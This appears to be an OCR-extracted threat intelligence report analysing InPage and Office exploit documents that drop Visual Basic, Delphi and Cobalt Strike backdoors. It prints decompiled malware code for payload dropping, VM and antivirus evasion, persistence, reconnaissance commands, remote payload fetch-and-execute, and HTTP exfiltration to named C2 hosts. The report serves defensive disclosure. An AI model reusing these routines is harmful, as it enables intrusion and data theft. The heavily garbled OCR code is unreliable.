case 38ad4:
dword_76098
dword_CEA9S

dword CEAT7® =

break;

case 38a5:
dword_76898
dword_CEAS3

dword_CEA74 =

break;

= 4888 ;

3e00;
CreateThread(@,

= 4000;

3@al;
CreateThread(@,

= 4000;

3e82;

= CreateThread(@,

= 4888 ;

3004;
CreateThread(@,

= 4@@8a;

3@a85;
CreateThread(@,

GetRatstate 72E7@8, &Farameter, @, @8);

GetDriveinfo_ 72258, &Farameter, @, 8);

GetFileList_722E@, &FPazrameter, @, @);/

GetLog 72608, &Farameter, @, @);

Cr?htenewFile_?Z?D@, &Parameter, @, @)

Trojan’s all commands and corresponding functions are shown in the following table:
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3000 Get RAT status information

3001 Get computer hard disk information

3002 Gets the list of files in the specified directory
3004 Get RAT log 1

3005 Create the specified file

3006 Writes data to the create file

3007 Open the specified file

3009 Reads the contents of the specified file
3012 Create remote console

3013 Execute remote commands

3015 Get RAT log 2

3016 End remote console

3017 Closes the specified handle

3019 Gets a process that has an UPD active link
3021 Get RAT log 3

3032 End the specified process

3023 Gets process information in the system
3025 Get RAT log 4

Visual Basic Backdoor

Another captured vulnerability exploit document, CVE-2017-12824 named ‘AAT national assembly final.inp’, drop
the backdoor written by Visual Basic.

Relevant vulnerability document information is as follows:

MD5 ce2a6437a308dfe777dec42eec39d9%ea
The file name The AAT national assembly final. Inp
ShellCode

First, ShellCode triggered by the vulnerability locates the main ShellCode through the memory global search string
"LuNdLuNd" :
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B2FE37B4 57 edi
B2FE37BS 33ca XOF eax,eax
B2FE37BY e eax
B2FE37ES 64:8928 mov

B2FE37EBB BA 4CFSUEGY moy edx,

B2FE37CH 33FF ®or edi,edi
B2FE37C2 IB17 cmp edx,
B2FE37Ch4|., 74 B3 ﬂﬁ short B2FE37C9
B2FE37CH L7 inc edi

B2FE37C7 " EB F9 I short @2FE37C2
O2FE37C9| 83CT 04 add edi,

@2FE37CC| 3B17 cmp edx,
B2FE37CE|, 74 83 I short @2FE37D3
B2FE37D8| 47 inc edi

B2FE37D1|" EB EF I short @2FE37C2
O2FE37D3| B3CT7 04 add edi,

B2FE37D6| 57

@2FE37D7| C3

Locate the main ShellCode and get the API functions you want to use, and ensure that only one instance runs by

: n ",
creating the mutex "QPONMLKIJIH" :
674ELDE9 [ ) call edx kernel32 Createtutexn EFL 00880246 (MO,NB,E,BE,NS,PE,GE,LE)
O74E4DEB|  85C0 . ST8 enpty 0.8
O74EUDED|, 75 04 B short 074E4DF3 B 71 enpty 0.8
e dx: (kerm utexA) §T2 enmpty 8.8
ST3 enpty 0.8
STh enpty 0.8
sontu 0 0
Kiie PTIEYL oo060000
8 HF 08120766 089900009
0012D7B4| 001207B8|ASCIT “QPONMLKJIH"
0812D7B8| AEAF5851

Then extract a DLL module contained in the document and execute it by memory loading:

O7LE4BTF call edx S 0 FS 0O3B 32{i; 7FFDFBOO(FFF)
add esp, T 8 6S 0080 NULL
nov eax,duord ptr ss:[ebp-0x8] Do
nov ecx,duord ptr ss:[ebp-Bxh] oo
add ecx,
nou edx,duord ptr ss:[ebp-8x18] EFL (NO,NB,NE, A, NS ,PE,GE,G)

LastErr ERROR_INUALID_ADDRESS (68|

nou ,ecx STO empty 6.
mou eax,duord ptr ss:[ebp-0x18] ST1 empty 0.
ST2 empty 8.
ST3 empty 8.
ST4 empty 0.

~ B012D798

883142A8| UNICODE “RP™

074EMDEB|jR [0 F| 674ELDER
05350048| 6E 1F BA OE| 08 By 60 CD|21 B8 61 4C/CD 21 54 68|mN? ? 0012D7AC | 65356000

Dropper

MD5 43920ec371fae4726d570fdef1009163

The PDP path ~ C:\ users \ mz \ documents \ visualstudio2013 \ Projects \ Shellcode \ Release \ Shellcode PDB

The DLL file loaded in memory is a Dropper, which contains two resource files, "Bin" and "Bin2" :
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Bin file is the back door program written by Visual Basic, while Bin2 is the normal inp decoy file released and opened

after the vulnerability is triggered. The contents of relevant decoy documents are as follows:

S B
Tows-mgww| @ @ oW | & B E
a5 e
G-C ConfouraborFles || Offsst | 0 1 7 3 4 5 & 7 8 3 A B C D E F
00000000 | 4D GA 20 00 03 00 00 00 04 00 00 00
Qooooo1e | B8 00 00 00 00 00 00 OO0 40 00 OO0 00 OO0 OO0 00 00
00000020 | 00 00 00 00 00 40 00 00 OO0 00 00 00 0O 00 00 00
00000030 | 00 00 00 00 00 00 O 00 00 00 00 00 CO OO0 00 0O
00000040 | OE 1F BA OE 00 B4 0% CD 21 B8 01 4C CD 21 54 &3
00000050 | 69 73 20 70 72 &F 67 72 61 6D 20 63 61 6E GE 6F | is.progran.canno
00000060 | 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 | t.be run, in.DOS,
0000000 | 6D 6F &4 &5 ZE OD OD O& 24 00 00 00 00 00 00 00 | mode. ... 5. 3
00000080 | D9 4B C4 DB 3D 24 AA 98 9D 2A AA B8 5D 24 Ak 88 | UKAD =iy iy =iy
00000090 | 1E 36 A4 BB 9C 2A AA 88 F4 35 A7 88 9F 24 Ak B8 | ERII?RASEfIe2)
0OOD00AD | 74 35 A7 B8 2C 24 AA 28 52 69 63 68 9D 24 Ak 22 | eSE11=FIRick =i
000000B0 | 00 0O 00 e
000000CD | 50 45 00
Qooaoone | 00 00 00
000000ED | 00 20 00
000000FD | 00 E0 01
Q0000100 | 04 00 OO0
00000110 | 00 00 02
00000120 | 00 00 10
00000130 | 00 0O 00
00000140 | 14 DO 01
00000150 | 00 0O 00
Qo000160 | 00 00 OO0
00000170 | 00 00 00
00000180 | 00 DO 00
Qoo00190 | 30 02 00
00000140 | 00 00 00
000001E0 | 00 00 00
0oo001CH | 84 CA 01
00000100 | 00 60 00 00 00 0 00 00 00 00 00 00 20 00 00 &0
0OOO01ED | 2E 64 61 74 E1 00 OC 00 28 0B 00 00 00 E0 01 00
QOOQO1FD | 00 10 90 00 00 E0 01 Q0 00 00 00 00 OO0 OO0 00 00
00000200 | 00 DO 00 00 40 00 00 CQ 2E 72 73 72 63 00 00 00 | ... :
00000210 | BC 06 00 00 00 FO 01 00 00 10 00 00 0O FO 0L 00 | ki . S§. .1...51.
00000220 | 00 DO OO0 0D 00 00 O 00 00 DO 00 00 40 00 0O 40 e T
00000230 | 6C DA SB 4A 10 00 0D 00 00 00 00 00 00 00 00 00 | 1O{Jy ... ..
00000240 | 4D 53 56 42 56 4D 36 30 2E 44 4C 4C 0O 00 0D 00 | HSVEWMED.

coosoososooaSaDS0S
CooCoooOROoEoERoEoe
[
@
=
=
=
=]
o=
=1
=
=
]
=
=]
=
=
=
=
&
=
=
o=
=

Backdoor - SMTPLDR. Exe

MD5 694040b229562b8dca9534c5301f8d73
Compile time 2018.7.4
Original file name Exe SMTPLDR.
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Bin file is a backdoor program written by Visual Basic, which is mainly used to obtain command execution. After the

Trojan horse runs, it first gets the installed application name of the current system from
"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\" :

mav
mav
lea
lea

RCt I LB LEDE VR T W " SOFTHWARE \Microsoft\Windows\CurrentVersion\Uninstall\"|
var_128, 00000008h

edx, var 128

ecx, var_ 30

call [00401214nh] ; %ecx = %5 _edx 5 ' vbaVarCopy

var_4, 00000005h

var 100, 80020004h

var 108, 0000000An

var_120, 00403784h ; "winmgmts://./root/default:StdRegProv"”

Then determine whether the installed application includes kaspersky, NORTON, trend technology and other related

software killing applications:

push 004038D8h ; "ByRkEsErle@plsfa@Kar
call [00401164h] ; @StrReverse (3¥5tkvVarl)
mov edx, eax

lea ecx, var_48
call [00401238h] ; %tecx = %5_edx 5 '__ vbaStrMove
mov ecx, var 48

mov var AQ, ecx

mov var 48, 00000000h
push 00000001h

mov edx, var 38

push edx

push 00000000h

push FFFFFFFFh

push 00000001h

push 004036400 ; vbNullString
push 00403698h

mov edx, var A0

lea

ecx, var 40

call [00401238h] ; %ecx = %5_edx 5 '_ vbaStrMove

push eax

call [00401154h] ; @Replace (35tkVarl, %5tkVar2, %5tkVar3, %5tkVar4, I5tkVar5, %5tkVa
mov edx, eax

lea

ecx, var 44

call [00401238h] ; %ecx = %5_edx 5 '__ vbaStrMove

push eax

push 00000000h

call [004011B0R] ; BInStr(%StkvVard, %S5tkVar3, %5tkVar2, %5tkVarl) ' vbalnStr

Then WMI executes the select * from win32_computersystem command to get the application information and detect

the virtual machine environment by determining whether the word "virtual" is included in the name:
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push 1
push winopen. 403D38

mov dword ptr ds: [edx+4],ecx
lea ecx,dword ptr ss:|Jebp-52]
push ecx

mov dword ptr
mov dword ptr
mov eax,dword
mov dword ptr
lea edx,dword

ss:flebp-s5Clj, ebx
ds: [edx+8],eax
ptr ss:|febp-&0j
ds: [edx+C] ,eax
ptr ss:|lebp-7Cl

push edx

€all dword ptr ds:[<& wvbavarLateMemCal
add esp,20

push eax

Tea eax,dword ptr ss:|[ebp-z4f)

push eax

Eall =si

Tea ecx,dword ptr ss:|[ebp-&Cf)

€all dword ptr ds:[«& wvbaFreevVarx>]
Tea ecx,dword ptr ss:|[ebp-z4

Tea edx,dword ptr ss:ebp-42]

push ecx

lea eax,dword ptr ss:|[ebp-Az]

push edx

lea ecx,dword ptr ss:|[Jebp-g0j

push eax

Tea edx,dword ptr ss:|[ebp-g4f]

push ecx

lea eax,dword ptr ss:|Jebp-aAcC]

push edx

push eax

€all dword ptr ds:[«<& wvbaForeachwvars>]

403038 L"ExecQuery™
ecx: L"VMWARE VIRTUAL PLATFORM™

ecx: L"VMWARE VIRTUAL PLATFORM™

esi:___vbavarsetrvar

ecx: L"VMWARE VIRTUAL PLATFORM™

ecx: L"VMWARE VIRTUAL PLATFORM™

If the detection is in the virtual machine environment, the popover displays not a valid file and exits:

cmp
jnz
mov
mov
mov
MoV
mov
Tea
Tea
MoV
mov
MoV

word ptr ss:[ebp-B0W,FFFF
winopen. 40B356

ecx, 30020004

eaN, A
dword ptr
dword ptr
dword ptr
edx, dword
ecx, dword
dword ptr
dword ptr
dword ptr
mov dword ptr
mov dword ptr

s5:febp-54], ecx
ss:febp-54]), ecx
ss:|febp-44], ecx

ptr ss:[febp-7Cf]

ptr ss:ffebp-2C]
s5:Pebp-&Cl, eax

ss: febp-5C), eax
ss:febp-4C], eax
ss:|febp-74],wincpen. 403BF
ss:febp-7Cl), 5

403BF8:L"Not a wvalid file”

€dall dword ptr ds:
1ea eax,dword ptr
Tea ecx,dword ptr
push esax
Tea edx,dword ptr
push ecx
push edx
Tea eax,dword ptr
push ebx
push eax
call dword ptr ds:
Tea ecx,dword ptr
lea edx,dword ptr
push ecx
lea eax,dword ptr
push edx

If the detection passes, "SMTP Loader. LNK" will be created in the directory of %Start% to achieve self-startup:

74 SMTP Loader

[«&__ vbavarDupx>]
ss:febp-6C]
ss:|flebp-sCjj

ss:lebp-4cC]

ss:febp-2C]

[<&FrTcMsgBox=]
ss:febp-6C]
ss:iebp-5C])

ss:febp-4c])

2018/11/27 11:05  HEEAF

»
SMTP Loader (SRES

MNot a valid file

1 KB

==

= | ipmizs | el

| = | %6

pl

Cihlsers'y Bt onwinopen. enel

rﬂ SMTP Loader Ef%
S0E] =]
= HiEA
SMTF Loader
Bl EHRER
Eﬁ‘{ﬂﬁ system3Z
Bz 1) ¢ start
ARl )
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Finally, it communicates with C&C: referfile.com to obtain subsequent instruction execution:

push eax

push dword ptr ss:|[[ebp-15]

push edi edi:L"referfile.com”
call ws2_32.7&FE4E96

xor edi,edi edi:L"referfile.com™
cmp eax,edi edi:L"referfile.com”

jne ws2_32.76FEF382
Tea eax,dword ptr ss:|[Jebp-1Ch

push eax

Tea eax,dword ptr ss:|ebp-z4[]
push eax

push dword ptr ss:[lebp-20§
push dword ptr ss:|[lebp-30§
push dword ptr ss:|febp-1C)
push dword ptr ss:|[lebp-34]
push dword ptr ss:|ebp+20f§

call wsz_32.76FES3A8

Delphi Backdoor Program

QiAnXin Threat Intelligence Center found a batch of backdoor written by Delphi through big data correlation, which

are also documents with InPage vulnerability. Relevant sample information is as follows:

MD5 fec0ca2056d679a63cal8cb132223332
Original file name Exe adobsuit.
The captured Delphi backdoor is the same as the backdoor written by Visual Basic, which is also released from the

resource file by similar Dropper and created by creating Adobe creative suit. LNK file in the directory of %Start% and

pointing to the implementation of persistence:

[al Adobe creative suit 2018/11/26 21:13  HEEFEAR, 1KB
r
{8l Adobe creative suit Bt &

B | WEAE (gEn (Re | RS | uEREE

Ei Adobe creative suit

BirE: EER
EffuE:  Desktop
BT 1) FUzer=Th e

The backdoor will Ducument in % % folder to create the users. The TXT file, and random write 30 bytes of the string:

|| users .

M_wl users - o=+
(R fREgE) BIL0) BEENV) E#EH)
ISI"IGEEt 717 [bed Ak Selmll Hnlir SHp
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Trojan program will access to a computer user name and the computer user name after encrypting the Ducument to %
% / SyLog. The log file:

bk HiE PITOPIAT 757514E | FCaLL 2| =5 kerneld2.757514h9
813764BU4|55 73 65 72|28 6E 61

0B12FC70| B800616C|| hFile - 88088168C (windou)
0012FC74| 013764B4|| Buffer = B13764BY4
0812FC78| 88008031|| nBytesTourite = 31 (49.)
8012FC7C| ©612FCAB|| pBytesWritten = BO12FCAD
8812FC8A| AA0666AA|Lpoverlapped = NULL
0812FC84| ~B812FCED

00(EQ 26 37 61|14 1B 00 60| ... B .
6D|65 28 61 6E| 64 28 53 79(User name and sy

0012FCes || 86409521 |JR[@F| bin2.08409521 JEH <jnp.&kerneld2.
B012FC8C || 8600610C
0012FC96|| 91376484 | ASEIT “User name and System Name :- mm_WI
0012FCo4|| 00008031

0812FC98|| BB12FCAD
0012FCOC| [ 66000000

81376564| 60 66 6O OB\ 6B A0 A6 AA| OB OA A6 @A) A6 6@ AR 6O .

After that, I communicated with C2:errorfeedback.com and sent the contents of sylog.log file as POST:

POST /MarkQualityd455-/developerbuild.php?b=TTGKYoFdyQHEwpyYKmfUGtzQLfeqpd HTTP-1
a

Connection: keep—alive

Content-Type: multipart-form—data; boundar 1127181AAB59 756
Content-Length: 237

Host: 127.0.8.1

Accept: textshtml, /%

Uzser—figent: Hozilla-3.8 <compatible; Indy Library)

1127181 BBB59756

Content—Disposition: form—data; name="unit"; filename="C:“Users‘mn“Document*“SyL

q.log"
Content-Type: applicationsoctet—stream

When C2 returned to Success, and C2 communication in the form of HTTP GET request again, if return a string,
continued to from "errorfeedback.com/ MarkQuality455 TTGKWoFdyQHEwpyYKmf{VGtzQLfeqpJ/string" perform

download the following content:

= Idhttp::TIdCustomHTTP: : TIdCustoemHTTP (&cls IdHTTP_TIdHTTP, 'H
LOBYTE(vS) = 1;

= unknown_libname_38(&off 416858, '
Idhttp: : TIdCustomHTTP: :Get( , s '
TForml_u@wsmxepdgf ( » &str_zFbF[1], &v14);
Sysutils::ChangeFileExt(*v2e, » Bv1S);
System::_ linkproc_ LStrLAsg( » H
unknown_libname_315( » [@ly;
__writefsdword(@, 'H
__writefsdword(®, H
= &loc_476777;
=1i
=93
Parameters;
System::_ linkproc__ LStrToPChar(*vzao);
TForml_u@wsmxepdgf ( » &str_x1FY[1], &v13);

= System:: linkproc__ LStrToPChar( H
EhelTexecutaaf (~ofF 473800[0] + 48), 17, 5, 9, V19, V1)
System::TObject::Free( 'H
System::TObject::Free( 'H

A Backdoor Using Cobalt Strike

Another captured InPage vulnerability exploit document ends up executing a backdoor generated by Cobalt Strike,

with the following documentation information:

MD5 74aeaeaca968ff69139b2e2c84dc6fab

The file type InPage vulnerability exploit documentation
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Find the time 2018.11.02

ShellCode

After the vulnerability is successfully triggered, ShellCode first locates the main ShellCode with the special identifier
"LuNdLuNd", and then loads the attached DLL in memory and executes.

Dropper

MD5 ec834fa821b2ddbe8b564b3870f13b1b

PDB path C: \ users \ mz \ documents \ visualstudio2013 \ Projects \ Shellcode \ Release \ Shellcode PDB

Memory loaded DLL file and the above Visual Basic/Delphi back door, is also from the resources to release Trojan

files and execute:

FlndResource»( pThreadParameter, @x6A, "BIN");

vl

_DadResource(_pTh'eadPa'aTet3’, vl);

lpBuffer = LockResource(v3};

nru1L8’ fBytesToWrite = SizeofResource(lpThreadParameter, v2);
FlndResource»( pThreadParameter, @x6B, "BIN2");

WoR
nmnn

LoadResource(lpThreadParameter, v4);
W LockResource(ve);

w14 Sl‘eofResource( pThreadParameter, vS);

if ( !lpBuffer || !v7 || !GetTempPathW({@x104u, &Buffer) )
_ABEL_7:

ExitProcess(@);

stringl = @;

IstrcatW(&5tringl, &Buffer);

IstrcatW(&5tringl, L"winopen.exe™);

oo

result = CreateFileW(&5tringl, @x40000000u, 2u, @, 2u, @xBBu, @);
va = ’e;ul.,
if { result I= -1 )

WriteFile(result, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, @);
CloseHandle{v3);

shellExecutewW(@, @, &stringl, @, @, 5);

stringl = @;

lstrcatW(&stringl, &Buffer);

lstrcatW(&stringl, L"SAMPLE.INP™);

result = CreateFileW(&5tringl, @x40000800u, 2u, ©, 2u, @x88u, @);
v1e = 'e_»u'_.JI
if ( result I= -1 )

WriteFile(result, v7, v14, &NumberOfBytesWritten, @);

CloseHandle(v1@);
shellExecutew(@, @, &stringl, @, @, 5);
goto LABEL_7;

¥
3

return result;

Downloader - winopen. Exe

MD5 09d600e1cc9c6da648d9a367927e6bff

Compile time 2018.10.12
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Release the Downloader executive called winopen. Exe, it will get a normal JPEG file header from

jospubs.com/foth1018/simple.jpg encrypted files, if successful, is from the JPEG file 49th bytes begin with 0 x86 or
decryption:

mov al, 86h
mov ecx, 31A86h
jmp short loc_13
; =============== 5 UB RO U T I N E =======================================
sub 9 proc far ; CODE XREF: sub 9:loc_13ip
pop esi
mov ebx, esi
loc C: ; CODE XREF: sub 94647
xor [esi], al
inc esi
loop loc €
call ebx

The decrypted file is a DLL file, which is then loaded and executed.DLL program will first determine the running
environment and check whether the DLL loading process is rundll32.exe:

vl = this;
memset(&Filename, @, @x20Au);
GetModuleFileNamelW(®, &Filenams, @x184u);

v

if | wesiemp(v2, L"rundll32.exe") )|
1
result = sub 2EE914({&1pBuffer, vl, &nNumberOfBytesTolWrite};
if ( result )
1
sub_ 2EEDCA();
sub_ 2EEFDA{lpBuffer, nNumberOfBytesToWrite);
result = sub JEEEF4(&savedregs);
¥
¥
else
1

hHeap = HeapCreate(@, @, @);

if { !'hHeap )
__debugbreak();

result = sub 2F@274();

}

return result;

If the loading process is not rundll32.dll, release the backdoor program named aflup64.dll under C:
ProgramData\Adobe64:
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it [ ve )

CloseHandle(va};

SHGetFolderPathw(e, 26, @, @, &pszPath);

vl = PathFindFileNameW(L"C:\\ProgramData\\Adobe6d"};
PathAppenduW(&pszPath, v1);

else

memmove (&pszPath, L"C:\\ProgramData‘\\Adobesd™, @x2Cu);
}
v2 = wecslen(&pszPath);
memmove (&word_38B184, &pszPath, 2 * v2);
memmove (&FileName, &pszPath, 2 * v2);
PathAppendW(&word_38B184, L cdrawxll?.exe");

PathappendW(&FileName, Llaflupss.dll™)|;
sub_2EE@24(&Commandline, BxIZ3u, L comd.exe /q /c mkdir \V"Es\"", &pszPath);

return sub_2EE@B4(&Commandline);

Exe "C:\ ProgramData\ Adobe64\ aflup64.dll", exe "C:\ ProgramData\ Adobe64\ aflup64.dll"

nNumberOfBytesToWrite;
= lpBuffer;
memset(&p zPath, @, 8x248u);
= SHGetFolderPathw(e, 7, @, 8, &pszPath);
if ( Iva )
1

L;.l I~

PathAppendW(&pszPath, L"Start.lnk™};
sub 2EE@24(&v3, @x123u, L"\"¥s\",IntRun”, &FileName};
LOBYTE(v4) = sub_2EF@C4({&vE);

if ( va )
i
Sleep[@x3ESu),
4 Cr‘eateFllEu{&FllEMamEJI exdppeeaeeu, B, @, 2u, 8, B);
._.5 = ._J
if (v -1)

{
WriteFile{v4, v3, v2, &NumberOfBytesWritten, @);
LOBYTE(v4) = CloseHandle(v5);

Finally, start rundl132.exe to load aflup64.dll and call its export function IntRun:

v7 = al;
v8 = retaddr;

Vb &v7 ~ dword_3ese13;

sub 2EE624(& 5, @x123u, L"rundll32.exe “"¥s\",IntRun”, &FileName);
memset(& v2, @, Bxddu);

= B8;

3= 8;

4 = Bi64;

result = CreateProcessh(e, &5, @, @, @, Ox3000000u, @, @, &v2, &vd);
if ( result )

<%
"

{

CloseHandle (DWORDL(v4));
result = CloseHandle(v4);
1

Backdoor - aflup64. DLL

MD5 91e3aa8fa918caa9a8e70466a9515666

Compile time 2018.10.12

Exportation IntRun will do the same thing again, get the JPEG file, xor decrypt it, and then execute.Because it is

through rundll32 starts, so will go to another branch, first create the mutex "9 a5f4cc4b39b13a6aecfe4c37179ea63" :
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vB = CreateMutexu(®, 1, L"9a5f4cc4b39blBaﬁaecfE4c3?1?9eaﬁﬂ"};

result = GetlLastError();
if ( ve && result != 183 )
1

Sleep(@x1388u);

sub_2EF484();
sub_2EFFC4();

i

return result;

Then, create "nnp74DE. TMP" file in the directory of % TEMP%. Then, execute the command tasklist, ipconfig./all,

dir to get system process information, network information, file list and so on.

Let|empFathW(¥xlvau, &buTTer);
GetTempFileNameW(&Buffer, L"nnp", @, &TempFileName);
sub_2EE@24(&Commandline, @x123u, L"cmd.exe /fq /c tasklist > \"Rs\"", &TempFileName);
sub_2EE@B4(&CommandLine);
sub_2EE@24(
&CommandLine,
@x123u,
L"cmd.exe /q /c 8Cho -----mmmmm e > \"Es\"U,
&TempFileName);
sub_2EE@B4(&CommandLine);
sub_2EE@24(&CommandLline, @x123u, L"cmd.exe /q /c ipconfig fall »>» \"%s\"", &TempFileName};
sub_2EE@B4(&CommandLine);
sub_2EE@24(
&CommandLine,
@x123u,
L"cmd.exe /q /c echo ——------mmmmmmmmm e »» \"Es\",
&TempFileName);
sub_2EE@B4(&CommandLine);
mandLine, @x123u, L"cmd.exe /q /fc dir C:\\ >> \"¥s\"", &TempFileName);
mandLine);
mandLine, @x123u, L"cmd.exe /q /c dir D:\\ »» \"¥s\"", &TempFilelName);
ommandLine}; |
mandLine, @x123u, L"cmd.exe /fq /c dir E:\\ >> \"¥s\"", &TempFileName);
mandLine);
mandLine, @x123u, L"cmd.exe /fq /c dir F:\\ >> \"¥s\"", &TempFileName);
ommandLine};

Then get the machine ID, system version, current system time, connect all the acquired information beginning with

"tag FluffyBunny", base64-encoded connect C&C and upload:

e e P e

Content-Type: multipart/form-data; boundary=----------------~-——- fb74jh3ft4h38bnhfg7fb78kmc219bt
Host: jospubs.com

Content-Length: 13969

Cache-Control: no-cache

..................... tb74jh3ftdh38bnhfg7fb78kmc219b61t1891

Content-Disposition: form-data; name="m";
Content-Type: text/plain

777777777777777777777 tb74jh3ft4h38bnhfg/fb78kmc219b61t1891
Content-Disposition: form-data; name="id";
Content-Type: text/plain

Ve10LTVGQLRFNEFFQjhMX19KYHhoaGZhZ2c= | HEHE-RFE

--------------------- fb74jh3ft4h38bnhfg7fb78kmc219b61t1891
Content-Disposition: form-data; name="data";
Content-Type: text/plain

VGFn0iAgICAgICAgICAGICAgICAGICAGIEZ sdWZmelI1bm550QpZX] zakgu0iAg
ICAgICAgICAZICAgICAgMiA1DQpNYWNoaW51TE1EOiAgTCAZTCAZTCAZICAZVBIO .. o0 _
LTVGQIRFNEFFQjhMX19kYWhoaGZhZ2cNC1dpbmRvd3MgVmVyc21vbjogICAZICAE ?Ezzggzzés?ﬂ§§g§§3&332¢*§”i5
ICBXal5kb3dzIDYuMSAoU2Vydml3ZSBQYWNrIDEpDQpMb2NhbCBUaK110iAgTCAS
ICAgICAgICAgMIMEM]oSTICAYMDEAL TEXL TTyDQoNCgBKe7PPEcP7s8YgICAZICAS
ICAgICAgTCAZICAZICAZTFBIRCCT4bunan/sgICAZTCAZICAZTCAZILvhu7A ICAS
ICAgIMTatObKudPDIAGKPTEIPTA9PTOIPTAIPTAIPTA9PTEIPTOIPSAIPTAIPTEI
PSA9PTE9PTEIPTAIPTEIPTEOIDAIPTAIPTAIPTAIIDAIPTEIPTOIPTAIPQAKU31Z
dGV+TE1kbGUgUHIVY2VzcyAgTCAgICAgTCATCAGMCBTZXI 2akN1 cyAgICAGICAG
ICAgTICAETCAZTCAWICAZTCAZTCAGMIQgSwOKU31zdGVICAZTCAZICAZICAZICA

After the information transmission is successful, Base64 encoding of the string "OK" will be returned:
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while ( 1 )
1
54 = 8;
lpstringl = @;
sub_2F1324(&ve4, "pl"™, &lp5tringl, &vs4);
vid = 1pStringl;

=
if { !lpstringl )
goto LABEL_55;
if { v54 »= 2 && !lstrompA{lpStringl, "OK") )
break;

dE — el
vdS = vda;

HIDWORD(v44) = @3
v4l = GetProcessHeap();
HeapFree(wv4l, HIDWORD(v44}, w45);
\BEL_55:
Sleep(@x3A98u);
1

If the request line is not successful, the request line is looped.After the successful launch, it will enter the second stage

to send base64-encoded data of calculation name-user name to jospubs/foth1018/go.php and obtain the command
execution:

POST /foth1818/go.php HTTP/1.1

Accept: text/plain, text/html

Content-Type: multipart/form-data; boundary=-----------—-—-—--~—- fb74jh3ft4h38bnhfg/fb78kmc219b61t1891
Host: jospubs.com

Content-Length: 369

Cache-Control: no-cache

————————————————————— Tb74jh3ft4h38bnhfg7fb78kmc219b61t1891
Content-Disposition: form-data; name="m";
Content-Type: text/plain

--------------------- fb74ih3ft4h38bnhfg7fb78kmc219b6111891
Content-Disposition: form-data; name="1id";
Content-Type: text/plain

VO1O0LTVGQIRFNEFFQjhMX19kYWhoaGZhZ2c=

,,,,,,,,,,,,,,,,,,,,, fb74jh3ft4h38bnhfg7fb78kmc219b61t1891--

The format of relevant commands that can be obtained is in the form of "number: parameter", which supports 5

commands in total. The list of relevant commands is as follows:

The command ID function

103 Download the Plugin and drop it into the % TEMP% directory
105 Gets the file memory load

115 Gets the contents of the parameter file

117 Delete the start. LNK file

120 Download the file to the %temp% directory and delete start.Ink

The Plugins - jv77CF. TMP

MD5 c9clec9aelf142a8751ef470afa20f15

Compile time 2018.4.3
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In the debugging process of QiAnXin Threat Intelligence Center analysts, we successfully acquired a Trojan horse

plug-in which was executed on the ground.The Trojan plugin continues to get the encrypted file from pp5.zapto.org:

5 = wil;
memset(name, @, @x188u);
gmemcpy(name, “pp5.zapto.org”, 13);
w5 = gethostbyname(name);
if ( Ivs )

return -1;
*&vl3.sa_data[2] = **v5-rh_addr_list;
v13.sa_family = 2;
*vl3.sa_data = htons{@x1BBu);
if { connect(v3, &v13, 16} )

return -1;
if { recv(vi, buf, 4, 8) == 4 )
1

ve = *buf + 13

7 = GetProcessHeap();
vl = HeapAlloc(v?, Bu, vB);

1A o
vig = Wiy

O
i
va = B8

va = *pufj;
if { !*buf )
{
LABEL 1@:
floldProtect = @;
VirtualProtect(vl, v9, @x48u, &Fl0ldProtect};
ms_exc.registration.TrylLevel = @;

JUMPOUT(_ CS_, v17); | /] exec
b
while ( 1 )
1

vle = recv(v3, vl + v8, v3 - v3, @);

if (vl <=8 )
goto LABEL _12;

v8 += v18;
=]

if ( vB »= *buf )}
goto LABEL_16;

¥
¥

return -1;

¥

Upon successful retrieval, hetero or decryption is performed, and the decrypted file is a remote back door generated by

Cobalt Strike:
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channel =et interactiwve
channel set natiwe 10 _context
channel =set type

channel write
channel write to buffered
channel write to remote
command deregister

command deregister all
command handl e

command_join threads

command register

command register all
core_update desktoaop

core update thread taoken
packet add completion_handler
packet add exception
packet add zroup
packet add request_1d
packet add tlw bool
packet add tlw zroup
packet add tlw gqword
packet add tlw raw
packet add tlw string
packet add tlw uint
packet add tlw wstring
packet add tlw wstring len
packet add tlws

packet call completion handlers
packet create

packet create zroup
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=#| packet rcreate response
=#| packet destroy
=& packet enum tlw

Analysis of CVE-2018-0798 Samples

By expanding the big data platform of QiAnXin Threat Intelligence Center, we found a vulnerability utilization
document of Office CVE-2018-0798 belonging to the same series of attack activities. The document is called "SOP for
Retrieval of Mobile Data Records. Doc", which is the same name as the InPage vulnerability for the release of the
WSCSPL Trojan (with the same origin as the Retrieval of the impersonal Records). However, the vulnerability

document is targeted at Microsoft Office.

MD5 61al07fee55e13e67al1f6cbc9183d0a4

The file name For SOP for Retrieval of Mobile Data Records. Doc

The Objdata object information containing the vulnerability is as follows:

PABAABS Ah

After the vulnerability successfully triggers the execution, subsequent Payload executables will be obtained by means

of the same download address as the SOP for Retrieval of Mobile Data Records. Inp (InPage) vulnerability makes use

of the file for the Retrieval of Mobile Data Records:
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1C 8B 3F 08 8B 77 20 8B 3F 80 TE 0OC 33 75 F2 85 4 AW < ?E~.3udk
DF 03 7B 3C 8B 57 78 01 DA 8B 7A 20 01 DF 89 CS || B.{<cWx.U¢z .B%E
8B 34 8F 01 DE 41 81 3E 47 &5 74 S0 |75 F2 81 7 ¢4..BA.>GetPud.~
08 o4 64 72 63 75 ES 8B TA 24 01l DF &6 8B 0C 4F .ddreué«<z$.B8fc .0
86 7TA 1C 01 DF 8B 7C 8F FC 01 DF 31 CO E8 11 0O ¢z..B¢|.0.B1AS. .

00 00 43 72 65 €1 74 65 44 €9 72 63 683 T4 6F T2 . .CreateDirector
79 41 00 33 FF D7 &A Q00 E§ OB 00 00 00 43 3A 5C vA.S5¥=j.eé....C:\
44 T2 €9 Th 65 T2 73 00 FF DO 31 C9 51 E8 0D QO Drivers.¥D1EQ:. .
00 00 4C 6F 61 &4 4C &5 62 72 61 72 79 41 00 53 « LoadLibraryh.S
FF D7 83 C4 OC 55 E8 OB 00 00 00 75 72 &C 6D 6F | ¥#=fA.¥e....urlmo

6E ZJE 64 6C 6C 00 FF DO 83 C4 10 E& 13 00 00 QO n.dll.yBfA.&....
68 T2 T2 6T 6F 77 €E 6C &F &1 64 54 &6F 46 6959 &C ftrgownloadTloFil
65 41 00 Ba AA AD B3 BE F7 DZ 8B 34 24 89 16 50 Bh,°5-35 0 45%. P
FF D7 31 C9 51 51 E8 11 00 00 00 43 3A 5C 44 72 g=1EQRe....C:\Dr
